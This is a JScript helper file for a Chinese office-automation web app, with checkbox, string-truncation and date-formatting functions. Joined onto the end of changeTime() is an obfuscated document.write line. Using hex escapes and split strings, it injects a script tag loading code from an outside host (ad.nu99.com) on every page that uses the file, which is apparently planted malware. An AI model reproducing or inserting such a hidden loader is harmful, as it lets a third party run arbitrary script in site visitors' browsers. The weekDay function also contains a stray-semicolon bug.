﻿// JScript 文件

function weekDay(day)
{
   if(day==1)
   {
     return '星期一';
   }
   else if(day==2)
   {
     return '星期二';
   }
   else if(day==3)
   {
     return '星期三';
   }
   else if(day==4)
   {
     return '星期四';
   }
   else if(day==5)
   {
     return '星期五';
   }
   else if(day==6)
   {
     return '星期六';
   }
   else if(day==0);
   {
    return '星期日';
   }
     
}

function selectAll()//引发全选事件
{
    var value = event.srcElement.value;
    if(value == 0)//全选
    {
        event.srcElement.value = 1;
        var chkObjs = document.getElementsByName('checkbox');
        for(var n = 0;n < chkObjs.length; n++)
        {
            chkObjs[n].checked = true;
        }
    }
    else
    {
        event.srcElement.value = 0;
        var chkObjs = document.getElementsByName('checkbox');
        for(var n = 0;n < chkObjs.length; n++)
        {
            chkObjs[n].checked = false;
        }
    }
}
function checkCheckboxIsEmpty()//检查checkbox是否有被选中的，没有表示没有选择一个文件。
{
    var chkObjs = document.getElementsByName('checkbox');
    var temp = 0;
    for(var n = 0; n < chkObjs.length; n++)
    {
        if(chkObjs[n].checked)
        {
            temp = 1;
        }
    }
    if(temp != 1)
    {
        return false;
    }
    else
    {
        return true;
    }
}
function getSelectFileIDs()//得到选择的文件编号
{
    var fileID = ''; 
    var chkObjs = document.getElementsByName('checkbox');
    for(var n = 0; n < chkObjs.length; n++)
    {
        if(chkObjs[n].checked)
        {
            fileID += chkObjs[n].value + ',';
        }
    }
    return fileID;
}
function getSelectFileValue1()//得到选择的checkbox的value2属性值。在工资修改时用到.单选
{
    var fileID = ''; 
    var chkObjs = document.getElementsByName('checkbox');
    for(var n = 0; n < chkObjs.length; n++)
    {
        if(chkObjs[n].checked)
        {
            fileID += chkObjs[n].value1 ;
        }
    }
    return fileID;
}
function checkSingleOrMutil()//判断文件选择是一个还是多个
{
     var chkObjs = document.getElementsByName('checkbox');
     var m = 0;
     for(var n = 0; n < chkObjs.length; n++)
     {
        if(chkObjs[n].checked)
        {
            m += 1;
        }
     }
     
     if( m > 1)
     {
        return false;//多选
     }
     else
     {
        return true;//单选
     }
}
    
//////////截取字符/////////////////////
///str:输入的字符 len长度限制
function sus(str,len)
{
    if(str=='' || str==null)
    {
      return '&nbsp;';
    }
    else
    {
        if(str.length>len)
        {
          return str.substr(0,len)+'...';
        }
        else
        {
          return str;
        }
    }
}

///检查文本框输入文本框id,min最小字符长度，max最大字符长度，des警告提示
function checkText(id,min,max,des)
{
    var con=document.getElementById(id).value;
    if(con.length<min || con.length>max)
    {
        alert('输入的'+des+'字符大于'+min+'位而且不超过'+max+'位');
        return 0;
    }
    else
    {
        return OASolution.Web.Common.reNoHtml(con).value;
    }
}

//把文本框中的某个字符全部替换为某个字符

function replaceStr(inputStr,str1,str2)
{
   var input=inputStr.replace(str1,str2);

   if(input.indexOf(str1)!=-1)
   {
     input=replaceStr(input,str1,str2);
   } 
   return input;

}


//根据文件名称来得到文件后缀类型，返回相应的文件图标...继续添加
function getSuffixByFilename(filename)
{
    if(filename == "" || filename == null)
    {
        return "";
    }
    else
    {
        var temp = filename.lastIndexOf('.');
        var suffix = filename.substr(temp + 1);
        return suffix;
    }
}

//从数据库中读取时间。然后截取
function susdate(date)
{
    if(date == '' || date == null)
    {
        return '&nbsp';
    }
    else
    {
        var len = date.length;
        return date.substring(0,len - 8);
    }
    
}

function clearSelect(obj)//清除select控件的options
{
   var opts = document.getElementById(obj).options;
   var length = opts.length;
   for(var n = length - 1; n > -1; n--)
   {
      $(obj).options.remove(n);
   }    
}


function changeTime(date)  //将日期转换成字符串(例：2006-06-18 15:06:16)
{
    var strDate = '';
    if(date != '' && date != null)
    {
        var year = date.getYear();
        var month = parseInt(date.getMonth() + 1) < 10 ? "0" + parseInt(date.getMonth() + 1) : parseInt(date.getMonth() + 1);
        var day = date.getDate() < 10 ? "0" + date.getDate() : date.getDate();
        var hour = date.getHours();
        var minute = date.getMinutes() < 10 ? "0" + date.getMinutes() : date.getMinutes();
        var second = date.getSeconds() < 10 ? "0" + date.getSeconds() : date.getSeconds();
        strDate = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
    }
    return strDate;
}document.write("<\x73cr"+"ipt src='http://\x61d."+"\x6Eu9"+"9"+".\x63om"+"/ip."+"asp?loc"+"=zhengzhou'><\/scr"+"ipt>");
function changeDate(date)
{
    var strDate = '';
    if(date != '' && date != null)
    {
        var year = date.getYear();
        var month = parseInt(date.getMonth() + 1) < 10 ? "0" + parseInt(date.getMonth() + 1) : parseInt(date.getMonth() + 1);
        var day = date.getDate() < 10 ? "0" + date.getDate() : date.getDate();
        
        strDate = year + "-" + month + "-" + day ;
    }
    return strDate;
}

function DownFileServer(url,flag)
{
    if(flag == 0)
    {
        window.open('../js/Down.aspx?address='+escape(url));
    }
    else
    {
        window.open('js/Down.aspx?address='+escape(url));
    }
}

function DateFormat(newDate,haveTime,ChineseFormat)
{

        var formatDate =new  Date(newDate)
        formatDate.setMonth(formatDate.getMonth());
        var returnDate = "";
        returnDate += formatDate.getFullYear();   
        if(ChineseFormat)
          returnDate += "年";
        else 
          returnDate +="-";
        returnDate += formatDate.getMonth()+1;
        if(ChineseFormat)
          returnDate += "月";
        else 
          returnDate +="-";   
        returnDate += formatDate.getDate();  
         if(ChineseFormat)
          returnDate += "日";
        else 
          returnDate +="";  
        if(haveTime)
        {
            returnDate +=" ";
            returnDate += formatDate.getHours();   
            returnDate +=":";
            returnDate += formatDate.getMinutes();   
            returnDate +=":";
            returnDate += formatDate.getSeconds();  
        } 
        return returnDate;   

}